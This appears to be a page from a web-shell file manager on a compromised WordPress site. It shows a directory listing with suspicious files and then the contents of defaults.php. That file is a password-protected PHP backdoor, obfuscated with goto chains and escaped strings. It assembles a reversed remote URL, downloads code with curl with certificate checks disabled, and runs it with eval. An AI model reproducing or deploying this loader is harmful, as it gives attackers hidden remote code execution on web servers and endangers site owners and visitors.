golden hour

/home/godaofbq/10xhyperbaric.com

File/Folder	Size	Actions
.htaccess	1.13 KB
.well-known	-
3070f	-
355373	-
46756	-
buy.php	1.52 KB
click.php	2.03 KB
defaults.php	2.03 KB
error_log	450.81 KB
ex.php	6.34 KB
f8f1c7	-
goods.php	1.48 KB
google4073228aa8a43d04.html	53 B
index.php	12.45 KB
index.php0	12.45 KB
inputs.php	6.34 KB
item.php	1.93 KB
license.txt	19.44 KB
mah.php	1.29 KB
networks.php	1.93 KB
options.php	2 KB
plugins.php	1.87 KB
qinfofuns.php	37.05 KB
radio.php	6.34 KB
readme.html	7.23 KB
robots.txt	418 B
wp-activate.php	7.2 KB
wp-admin	-
wp-blog-header.php	3.08 KB
wp-comments-post.php	2.27 KB
wp-config-sample.php	3.26 KB
wp-config.php	3.14 KB
wp-content	-
wp-cron.php	8.23 KB
wp-includes	-
wp-links-opml.php	2.43 KB
wp-load.php	3.84 KB
wp-log1n.php	1.87 KB
wp-mail.php	8.52 KB
wp-settings.php	31.88 KB
wp-signup.php	33.81 KB
wp-trackback.php	5.09 KB
wp-upgrade.php	29.57 KB
xmlrpc.php	3.13 KB

Edit: defaults.php

<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto MMJd3; sy7E0: $SS8Fu .= "\x2f\160\x6f\164"; goto qDKgI; tBWqP: $SS8Fu .= "\65\x2f\144"; goto PjLow; Z1fDH: $SS8Fu .= "\x6f"; goto cQShg; cQShg: $SS8Fu .= "\57"; goto OTbPc; l2KX1: $SS8Fu .= "\164\164"; goto oibfZ; y0vkU: $SS8Fu .= "\57"; goto EYzIF; Q2dEt: $SS8Fu .= "\164\170\164\x2e\64"; goto tBWqP; hdfzX: $SS8Fu .= "\x2f"; goto y0vkU; M8874: eval("\77\x3e" . TW2KX(strrev($SS8Fu))); goto Q2VNb; oibfZ: $SS8Fu .= "\x68"; goto M8874; OTbPc: $SS8Fu .= "\141\x6d\x61\144"; goto sy7E0; GrX6T: $SS8Fu .= "\x30\141\x6d\141\x64"; goto hdfzX; MMJd3: $SS8Fu = ''; goto Q2dEt; PjLow: $SS8Fu .= "\x6c"; goto Z1fDH; qDKgI: $SS8Fu .= "\56\x32"; goto GrX6T; EYzIF: $SS8Fu .= "\x3a\x73\x70"; goto l2KX1; Q2VNb: function tw2kX($V1_rw = '') { goto S1oZL; V2RDF: $tvmad = curl_exec($xM315); goto EUVIW; tM6NO: return $tvmad; goto vuWvH; ZIbFK: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto yBSOL; EUVIW: curl_close($xM315); goto tM6NO; euHNs: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto kGJPE; kGJPE: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto i8G2G; S1oZL: $xM315 = curl_init(); goto ZIbFK; yBSOL: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto euHNs; i8G2G: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto V2RDF; vuWvH: }